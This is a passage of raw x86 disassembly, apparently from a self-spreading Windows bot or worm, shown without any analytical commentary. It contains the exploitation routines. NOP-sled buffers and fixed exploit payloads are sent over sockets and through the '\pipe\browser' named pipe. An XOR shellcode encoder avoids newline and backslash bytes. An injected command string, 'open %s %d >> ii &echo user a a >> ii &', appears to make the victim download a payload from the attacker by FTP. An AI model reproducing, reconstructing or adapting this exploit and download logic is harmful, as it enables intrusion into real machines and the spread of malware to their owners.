[esp+14h+arg_401D], 0 rep stosd stosw jmp short loc_425A52 ; --------------------------------------------------------------------------- loc_4259E3: ; CODE XREF: sub_4257F0+10Bj mov ecx, 1F4h mov eax, 90909090h lea edi, [esp+14h+arg_F0] mov esi, offset loc_445E18 rep stosd mov edi, offset loc_445E18 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx lea edi, [esp+14h+arg_190] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb lea edi, [esp+14h+var_4] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea esi, [esp+14h+var_4] mov edx, ecx lea edi, [esp+14h+arg_8AC] shr ecx, 2 rep movsd mov eax, dword_4465BC mov ecx, edx and ecx, 3 rep movsb mov [esp+14h+arg_89C], eax loc_425A52: ; CODE XREF: sub_4257F0+1F1j mov ecx, 38Ah mov eax, 31313131h lea edi, [esp+14h+arg_14E0] mov ebp, [esp+14h+arg_8290] rep stosd movsx ecx, bl mov ebx, dword_511CA0 add ecx, 4 push 0 lea edx, [esp+18h+arg_28] push ecx push edx push ebp stosb call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425A96 xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425A96: ; CODE XREF: sub_4257F0+297j mov esi, dword_511CA4 push 0 lea eax, [esp+28h+arg_E90] push 640h push eax push ebp call esi ; recv push 0 push 68h push offset dword_44622C push ebp call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425ACC xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425ACC: ; CODE XREF: sub_4257F0+2CDj push 0 lea ecx, [esp+48h+arg_E70] push 640h push ecx push ebp call esi ; recv push 0 push 0A0h push offset dword_446298 push ebp call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425AFF xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425AFF: ; CODE XREF: sub_4257F0+300j push 0 lea edx, [esp+68h+arg_E50] push 640h push edx push ebp call esi ; recv mov eax, [esp+74h+arg_8234] test eax, eax jz loc_425BE5 mov ecx, 1Ah mov esi, offset dword_446450 lea edi, [esp+74h+arg_6098] push 0 rep movsd mov ecx, 6D6h lea esi, [esp+78h+arg_2464] lea edi, [esp+78h+arg_6100] lea eax, [esp+78h+arg_6098] rep movsd movsw mov ecx, 1Ch mov esi, offset dword_4464BC lea edi, [esp+78h+arg_3FC0] push 10FCh rep movsd mov ecx, 297h lea esi, [esp+7Ch+arg_34F8] lea edi, [esp+7Ch+arg_4030] push eax rep movsd movsw mov ecx, 21h mov esi, offset dword_446530 lea edi, [esp+80h+arg_4AF4] push ebp rep movsd call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425BAB xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425BAB: ; CODE XREF: sub_4257F0+3ACj push 0 lea ecx, [esp+88h+arg_E30] push 640h push ecx push ebp call near ptr 71AB615Ah nop push 0 lea edx, [esp+98h+arg_3FA0] push 0FDCh push edx push ebp call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425C4C xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425BE5: ; CODE XREF: sub_4257F0+32Aj mov ecx, 1Fh mov esi, offset dword_44633C lea edi, [esp+74h+arg_1480] push 0 rep movsd mov ecx, 1F4h lea esi, [esp+78h+arg_90] lea edi, [esp+78h+arg_14FC] lea eax, [esp+78h+arg_1480] rep movsd mov ecx, 24h mov esi, offset off_4463BC lea edi, [esp+78h+arg_1CCC] push 0CF8h push eax push ebp rep movsd mov [esp+84h+arg_2177], 0 call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425C4C xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425C4C: ; CODE XREF: sub_4257F0+3E6j ; sub_4257F0+44Dj push 12Ch call near ptr 2850369h nop sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+164h+arg_8140] mov edi, esp rep movsd movsw call sub_4013BB add esp, 0BCh test al, al pop edi pop esi pop ebp pop ebx setnz al add esp, 81D8h retn sub_4257F0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 130h dup(0CCh) ; --------------------------------------------------------------------------- loc_425DC0: ; CODE XREF: ___:00401DCAj sub esp, 650h xor eax, eax push ebx mov [esp+4], eax push esi mov [esp+0Ch], eax lea ecx, [esp+660h] push edi mov [esp+14h], eax push ecx mov [esp+1Ch], eax mov word ptr [esp+10h], 2 nop call near ptr 71AB2BF4h mov edx, [esp+6FEh] mov [esp+10h], eax push edx nop call near ptr 71AB2B66h push 6 push 1 push 2 mov [esp+1Ah], ax call near ptr 71AB3B91h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_425E26 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425E26: ; CODE XREF: ___:00425E18j lea eax, [esp+0Ch] push 10h push eax push ebx nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_425E45 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425E45: ; CODE XREF: ___:00425E37j mov edi, dword_511CA0 push 0 push 89h push offset dword_445FB0 push ebx call edi ; send cmp eax, 0FFFFFFFFh jnz short loc_425E6B xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425E6B: ; CODE XREF: ___:00425E5Dj mov esi, dword_511CA4 push 0 lea ecx, [esp+20h] push 640h push ecx push ebx call esi ; recv push 0 push 0A8h push offset dword_44603C push ebx call edi ; send cmp eax, 0FFFFFFFFh jnz short loc_425EA0 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425EA0: ; CODE XREF: ___:00425E92j push 0 lea edx, [esp+20h] push 640h push edx push ebx call esi ; recv push 0 push 0DEh push offset dword_4460E8 push ebx call edi ; send cmp eax, 0FFFFFFFFh jnz short loc_425ECF xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425ECF: ; CODE XREF: ___:00425EC1j push 0 lea eax, [esp+20h] push 640h push eax push ebx call esi ; recv movsx eax, byte ptr [esp+60h] sub eax, 30h jz short loc_425EFB dec eax jz short loc_425EF7 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425EF7: ; CODE XREF: ___:00425EE9j push 0 jmp short loc_425F2E ; --------------------------------------------------------------------------- loc_425EFB: ; CODE XREF: ___:00425EE6j push 2 push ebx sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+724h] mov edi, esp rep movsd movsw call sub_40180C add esp, 0C4h test al, al jz short loc_425F2C mov esi, 1 jmp short loc_425F5A ; --------------------------------------------------------------------------- loc_425F2C: ; CODE XREF: ___:00425F23j push 1 loc_425F2E: ; CODE XREF: ___:00425EF9j push ebx mov ecx, 2Eh sub esp, 0BCh lea esi, [esp+724h] mov edi, esp rep movsd movsw call sub_40180C add esp, 0C4h neg al sbb eax, eax neg eax mov esi, eax loc_425F5A: ; CODE XREF: ___:00425F2Aj push ebx nop call near ptr 71AB9639h test esi, esi jz short loc_425F88 sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+71Ch] mov edi, esp rep movsd movsw call sub_40114F add esp, 0BCh loc_425F88: ; CODE XREF: ___:00425F63j pop edi pop esi mov eax, 1 pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_426020: ; CODE XREF: ___:00401E51j push edi push 0C8h nop call near ptr 2850369h mov edx, [esp+0Ch] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax repne scasb mov eax, [esp+8] push 0 not ecx dec ecx push ecx push edx push eax call near ptr 71AB428Ah nop cmp eax, 0FFFFFFFFh pop edi setnz al retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426070 proc near ; CODE XREF: sub_401A55j var_5A0 = dword ptr -5A0h var_59C = dword ptr -59Ch var_598 = dword ptr -598h var_594 = dword ptr -594h var_590 = byte ptr -590h var_400 = byte ptr -400h arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_BC = dword ptr 0C0h sub esp, 5A0h xor eax, eax push ebx mov [esp+5A4h+var_5A0], eax push ebp mov [esp+5A8h+var_59C], eax push esi lea ecx, [esp+5ACh+arg_4] push edi mov [esp+5B0h+var_598], eax push ecx mov [esp+5B4h+var_594], eax mov word ptr [esp+5B4h+var_5A0], 2 nop call near ptr 71AB2BF4h mov edx, [esp+5B0h+arg_BC] mov [esp+5B0h+var_59C], eax push edx nop call near ptr 71AB2B66h push 0 push 1 push 2 mov word ptr [esp+5BCh+var_5A0+2], ax nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4260D8 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_4260D8: ; CODE XREF: sub_426070+59j lea eax, [esp+5B0h+var_5A0] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_4260F8 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_4260F8: ; CODE XREF: sub_426070+79j push 0 lea ecx, [esp+5B4h+var_400] push 400h push ecx push esi nop call near ptr 71AB615Ah mov ecx, offset byte_449511 call sub_4017EE push eax mov ecx, offset byte_449511 call sub_4017EE mov edx, dword_44964F push eax mov eax, [esp+5B8h+arg_0] push edx push eax call sub_401E10 mov ebx, dword_511AE4 add esp, 4 lea ecx, [esp+5BCh+var_590] push eax push offset aOpenSDIiEchoUs ; "open %s %d >> ii &echo user a a >> ii &"... push 190h push ecx call ebx ; _snprintf lea edi, [esp+5CCh+var_590] or ecx, 0FFFFFFFFh xor eax, eax add esp, 1Ch repne scasb mov ebp, dword_511CA0 push 0 not ecx dec ecx lea edx, [esp+5B4h+var_590] push ecx push edx push esi call ebp ; send cmp eax, 0FFFFFFFFh jnz short loc_426187 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_426187: ; CODE XREF: sub_426070+108j push 1F4h nop call near ptr 2850369h mov ecx, offset byte_449511 call sub_4017EE push eax push offset aS_3 ; "%s\r\n" lea eax, [esp+5B8h+var_590] push 190h push eax call ebx ; _snprintf lea edi, [esp+5C0h+var_590] or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx lea ecx, [esp+5B8h+var_590] push ecx push esi call ebp ; send cmp eax, 0FFFFFFFFh jnz short loc_4261DC pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_4261DC: ; CODE XREF: sub_426070+15Dj push 0 lea edx, [esp+5B4h+var_400] push 400h push edx push esi nop call near ptr 71AB615Ah push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 5A0h retn sub_426070 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_426280: ; CODE XREF: ___:00402199j mov eax, 1E88h call sub_437B30 push esi push edi mov ecx, 20Ch xor eax, eax lea edi, [esp+238h] mov esi, offset dword_4469AC rep stosd mov ecx, 0FAh mov eax, 90909090h lea edi, [esp+0A68h] mov edx, dword_51010C rep stosd mov ecx, 56h lea edi, [esp+0CDEh] rep movsd mov eax, dword_446C24 mov ecx, 10h movsw movsb lea edi, [esp+0E50h] mov esi, offset dword_44695C rep stosd mov eax, dword_446C1C mov ecx, 0Bh lea edi, [esp+238h] rep movsd mov ecx, 10Ah lea esi, [esp+0A68h] lea edi, [esp+270h] mov [esp+264h], eax mov [esp+268h], edx mov [esp+26Ch], eax rep movsd mov ecx, 7 mov esi, offset dword_44698C lea edi, [esp+69Ch] mov ax, word_446C18 mov [esp+698h], edx lea edx, [esp+30h] rep movsd mov esi, dword_511AE4 lea ecx, [esp+1E98h] push ecx push offset dword_4468F8 push 104h push edx mov [esp+6BCh], ax call esi ; _snprintf add esp, 10h xor edi, edi lea ecx, [esp+10h] lea eax, [esp+30h] push edi push offset byte_448F30 push offset byte_448F30 push ecx mov [esp+24h], edi mov [esp+30h], edi mov [esp+3Ch], edi mov [esp+34h], eax call sub_4382AA ; --------------------------------------------------------------------------- test eax, eax jz short loc_4263A5 or eax, 0FFFFFFFFh pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_4263A5: ; CODE XREF: ___:00426397j lea edx, [esp+1E98h] lea eax, [esp+134h] push edx push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push 104h push eax call esi ; _snprintf add esp, 10h lea ecx, [esp+134h] push edi push edi push 3 push edi push edi push 0C0000000h push ecx nop call near ptr 2880000h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4263EF or eax, eax pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_4263EF: ; CODE XREF: ___:004263E2j lea edx, [esp+0Ch] push edi push edx lea eax, [esp+0E98h] push 1000h push eax push 49h push offset dword_446910 push esi nop call near ptr 2790000h test eax, eax jnz short loc_426427 push esi call near ptr 2850BF4h nop or eax, 0FFFFFFFFh pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_426427: ; CODE XREF: ___:00426412j lea ecx, [esp+8] push edi push ecx lea edx, [esp+240h] push 830h push edx push esi call near ptr 27F0000h nop test eax, eax jnz short loc_426458 push esi call near ptr 2850BF4h nop or eax, 0FFFFFFFFh pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_426458: ; CODE XREF: ___:00426443j push 115Ch mov ecx, 2Eh sub esp, 0BCh lea esi, [esp+1F54h] mov edi, esp rep movsd movsw call sub_401A55 add esp, 0C0h neg al sbb eax, eax pop edi neg eax pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- db 90h db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426520 proc near ; CODE XREF: sub_4013CAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [esp+4+arg_0] not ecx dec ecx mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx pop edi lea eax, [ecx+edx*2+0C1h] retn sub_426520 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426560 proc near ; CODE XREF: sub_401794j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_8] push esi mov esi, [esp+8+arg_C] push esi push ebx call sub_4013CA mov ecx, [esp+10h+arg_4] add esp, 8 cmp eax, ecx mov [esp+8+arg_8], eax jbe short loc_426585 pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426585: ; CODE XREF: sub_426560+1Ej push ebp push edi or ecx, 0FFFFFFFFh mov edi, ebx xor eax, eax mov ebp, [esp+10h+arg_0] repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx mov esi, offset dword_446C5C mov eax, ecx mov edi, ebp lea ecx, [eax+edx+12h] mov dword_446CC0, ecx lea ecx, [eax+1] mov dword_446CE1, ecx lea ecx, [eax+17h] mov dword_446CD9, ecx mov ecx, 0FFFFFFEDh sub ecx, eax mov dword_446CEF, ecx mov ecx, 1Dh rep movsd mov ecx, edx mov esi, ebx mov ebx, ecx lea edi, [ebp+74h] shr ecx, 2 rep movsd mov ecx, ebx add edx, 74h and ecx, 3 rep movsb mov esi, dword_446CD0 lea ecx, [edx+ebp] add edx, 5 mov [ecx], esi mov bl, byte_446CD4 mov esi, [esp+10h+arg_C] lea edi, [edx+ebp] mov [ecx+4], bl mov ecx, eax mov ebx, ecx add edx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov esi, dword_446CD5 lea ecx, [edx+ebp] add edx, 10h mov [ecx], esi mov esi, dword_446CD9 lea edi, [edx+ebp] mov [ecx+4], esi mov esi, dword_446CDD mov [ecx+8], esi mov esi, dword_446CE1 mov [ecx+0Ch], esi mov esi, [esp+10h+arg_C] mov ecx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [edx+eax] mov eax, [esp+10h+arg_8] add edi, ebp mov ecx, 0Eh mov esi, offset byte_446CE5 rep movsd pop edi pop ebp pop esi pop ebx retn sub_426560 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4266D0 proc near ; CODE XREF: sub_402180j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4013CA push eax call sub_4017C6 add esp, 0Ch retn sub_4266D0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_426700: ; CODE XREF: ___:0040173Fj push ebx mov ebx, [esp+10h] push ebp push edi mov edi, [esp+1Ch] push edi push ebx call sub_402180 mov ebp, [esp+1Ch] add esp, 8 cmp eax, ebp jbe short loc_426723 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426723: ; CODE XREF: ___:0042671Bj cmp eax, 0FFFFh jbe short loc_426730 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426730: ; CODE XREF: ___:00426728j push esi push edi push ebx call sub_4013CA add eax, 101h push eax nop call near ptr 77C2C407h add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_4013CA add esp, 8 push eax push esi call sub_401794 push eax mov eax, [esp+28h] push esi push ebp push eax call sub_401B8B push esi mov edi, eax nop call near ptr 77C2C21Bh add esp, 24h mov eax, edi pop esi pop edi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4267A0 proc near ; CODE XREF: sub_4017C6j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_4267A9 inc ecx loc_4267A9: ; CODE XREF: sub_4267A0+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_4267A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4267D0 proc near ; CODE XREF: sub_401B8Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_C] cmp bl, 0Ah jz short loc_4267E8 cmp bl, 0Dh jz short loc_4267E8 cmp bl, 5Ch jz short loc_4267E8 test bl, bl jnz short loc_4267E9 loc_4267E8: ; CODE XREF: sub_4267D0+8j ; sub_4267D0+Dj ... inc ebx loc_4267E9: ; CODE XREF: sub_4267D0+16j cmp ebx, 0FFh jbe short loc_42680C mov eax, ebx shr eax, 8 cmp al, 0Ah jz short loc_426806 cmp al, 0Dh jz short loc_426806 cmp al, 5Ch jz short loc_426806 test al, al jnz short loc_42680C loc_426806: ; CODE XREF: sub_4267D0+28j ; sub_4267D0+2Cj ... add ebx, 100h loc_42680C: ; CODE XREF: sub_4267D0+1Fj ; sub_4267D0+34j push ebx call sub_4017C6 mov ecx, [esp+8+arg_4] add esp, 4 cmp eax, ecx mov [esp+4+arg_C], eax jbe short loc_426825 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426825: ; CODE XREF: sub_4267D0+4Fj cmp eax, 0FFFFh jbe short loc_426830 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426830: ; CODE XREF: sub_4267D0+5Aj mov al, byte_510114 xor edx, edx push ebp mov ebp, [esp+8+arg_8] test ebx, ebx push esi jbe short loc_426860 loc_426841: ; CODE XREF: sub_4267D0+8Ej mov cl, [edx+ebp] xor cl, al jz short loc_426857 cmp cl, 0Ah jz short loc_426857 cmp cl, 0Dh jz short loc_426857 cmp cl, 5Ch jnz short loc_42685B loc_426857: ; CODE XREF: sub_4267D0+76j ; sub_4267D0+7Bj ... inc al xor edx, edx loc_42685B: ; CODE XREF: sub_4267D0+85j inc edx cmp edx, ebx jb short loc_426841 loc_426860: ; CODE XREF: sub_4267D0+6Fj cmp ebx, 0FFh push edi mov byte_510114, al ja short loc_426893 mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_446C44 mov edi, edx mov byte_446C51, bl mov byte_446C55, al rep movsd movsb mov esi, 15h jmp short loc_4268B9 ; --------------------------------------------------------------------------- loc_426893: ; CODE XREF: sub_4267D0+9Cj mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_446C2C mov edi, edx mov word_446C3A, bx mov byte_446C3F, al rep movsd movsw movsb mov esi, 17h loc_4268B9: ; CODE XREF: sub_4267D0+C1j xor ecx, ecx pop edi test ebx, ebx jbe short loc_4268CF add esi, edx loc_4268C2: ; CODE XREF: sub_4267D0+FDj mov dl, [ecx+ebp] xor dl, al mov [esi+ecx], dl inc ecx cmp ecx, ebx jb short loc_4268C2 loc_4268CF: ; CODE XREF: sub_4267D0+EEj mov eax, [esp+0Ch+arg_C] pop esi pop ebp pop ebx retn sub_4267D0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426930 proc near ; CODE XREF: sub_401E3Dj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx xor ecx, ecx lea eax, [eax+eax*2] mov dword_44B19F[eax*4], ecx mov dword_44B18B[eax*4], ecx mov dword_44B18F[eax*4], ecx mov dword_44B193[eax*4], ecx mov dword_44B197[eax*4], ecx mov dword_44B19B[eax*4], ecx mov byte_44AF8B[eax*4], cl mov byte_44B1A3[eax*4], cl retn sub_426930 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4269A0 proc near ; CODE XREF: sub_401370j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push ebx push ebp xor ebx, ebx xor ebp, ebp cmp ecx, ebx jle loc_426A57 cmp ecx, 400h jge loc_426A57 lea eax, [ecx+ecx*2] push esi shl eax, 4 sub eax, ecx push edi push ebx lea esi, [eax+eax*2] mov eax, dword_44B19F[esi*4] push eax call near ptr 278081Eh nop cmp dword_44B19F[esi*4], ebx jz short loc_4269E8 mov ebp, 1 loc_4269E8: ; CODE XREF: sub_4269A0+41j mov dword_44B19F[esi*4], ebx mov dword_44B18B[esi*4], ebx mov dword_44B18F[esi*4], ebx mov eax, dword_44B193[esi*4] cmp eax, ebx jbe short loc_426A11 push eax call sub_401C80 add esp, 4 loc_426A11: ; CODE XREF: sub_4269A0+66j mov edi, dword_511C9C mov dword_44B193[esi*4], ebx mov byte_44AF8B[esi*4], bl mov byte_44B1A3[esi*4], bl mov ecx, dword_44B197[esi*4] push ecx call edi ; closesocket mov dword_44B197[esi*4], ebx mov edx, dword_44B19B[esi*4] lea esi, ds:44B19Bh[esi*4] push edx call edi ; closesocket mov [esi], ebx pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_426A57: ; CODE XREF: sub_4269A0+Cj ; sub_4269A0+18j mov eax, ebp pop ebp pop ebx retn sub_4269A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426A90 proc near ; CODE XREF: sub_401DA7j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push ebp push esi push edi xor ebp, ebp xor edi, edi mov esi, offset dword_44B18F loc_426AA1: ; CODE XREF: sub_426A90+52j mov eax, [esp+10h+arg_0] mov ecx, [esi-4] cmp ecx, eax jnz short loc_426AD5 test ebx, ebx jle short loc_426AC7 cmp [esi], ebx jz short loc_426AB8 cmp edi, ebx jnz short loc_426AD5 loc_426AB8: ; CODE XREF: sub_426A90+22j push edi call sub_401370 add esp, 4 test eax, eax jz short loc_426AD5 jmp short loc_426AD4 ; --------------------------------------------------------------------------- loc_426AC7: ; CODE XREF: sub_426A90+1Ej push edi call sub_401370 add esp, 4 test eax, eax jz short loc_426AD5 loc_426AD4: ; CODE XREF: sub_426A90+35j inc ebp loc_426AD5: ; CODE XREF: sub_426A90+1Aj ; sub_426A90+26j ... add esi, 234h inc edi cmp esi, offset byte_4D818F jl short loc_426AA1 pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_426A90 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426B10 proc near ; CODE XREF: sub_401C80j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi push eax push 0 push 1F0FFFh mov edi, 1 nop call near ptr 2710000h mov esi, eax test esi, esi jz short loc_426B45 push 0 push esi nop call near ptr 27A01DCh test eax, eax jnz short loc_426B45 push esi xor edi, edi nop call near ptr 2850BF4h loc_426B45: ; CODE XREF: sub_426B10+1Dj ; sub_426B10+2Aj mov eax, edi pop edi pop esi retn sub_426B10 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426B60 proc near ; CODE XREF: sub_40148Dj arg_0 = dword ptr 4 mov edx, [esp+arg_0] xor eax, eax mov ecx, offset dword_44B18B loc_426B6B: ; CODE XREF: sub_426B60+1Cj cmp [ecx], edx jnz short loc_426B70 inc eax loc_426B70: ; CODE XREF: sub_426B60+Dj add ecx, 234h cmp ecx, offset byte_4D818B jl short loc_426B6B retn sub_426B60 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426B90 proc near ; CODE XREF: sub_401DA2j arg_0 = dword ptr 4 mov edx, [esp+arg_0] push esi xor esi, esi xor eax, eax mov ecx, offset dword_44B18B loc_426B9E: ; CODE XREF: sub_426B90+1Fj cmp [ecx], edx jz short loc_426BB3 add ecx, 234h inc eax cmp ecx, offset byte_4D818B jl short loc_426B9E mov eax, esi loc_426BB3: ; CODE XREF: sub_426B90+10j pop esi retn sub_426B90 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426BD0 proc near ; CODE XREF: sub_401BEAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset byte_44AF8B loc_426BD8: ; CODE XREF: sub_426BD0+18j cmp byte ptr [eax], 0 jz short loc_426BEE add eax, 234h inc edi cmp eax, offset dword_4D7F8B jl short loc_426BD8 mov eax, edi pop edi retn ; --------------------------------------------------------------------------- loc_426BEE: ; CODE XREF: sub_426BD0+Bj lea eax, [edi+edi*2] push esi shl eax, 4 sub eax, edi push 1FFh lea eax, [eax+eax*2] lea esi, ds:44AF8Bh[eax*4] mov eax, [esp+0Ch+arg_0] push eax push esi nop call near ptr 77C47A90h mov ecx, [esp+14h+arg_4] mov edx, [esp+14h+arg_8] mov [esi+200h], ecx mov dword ptr [esi+204h], 0 add esp, 0Ch mov dword ptr [esi+208h], 0 mov [esi+20Ch], edx mov byte ptr [esi+218h], 0 mov eax, edi pop esi pop edi retn sub_426BD0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426C70 proc near ; CODE XREF: sub_401613j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426C70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 7 push 0Eh push 9 push 10h push 4Fh push 13h push 0Fh mov esi, ecx push 4 lea eax, [esp+68h+var_3C] push 4 push eax mov dword ptr [esi+118h], 0 mov byte ptr [esi+11Ch], 0 call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_426C70 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 4 push 15h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+28h] push 4 push edx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4Fh push 13h push 0Fh push 4 lea ecx, [esp+28h] push 4 push ecx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+60h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 13h push 0Fh push 4 lea eax, [esp+2Ch] push 4 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, 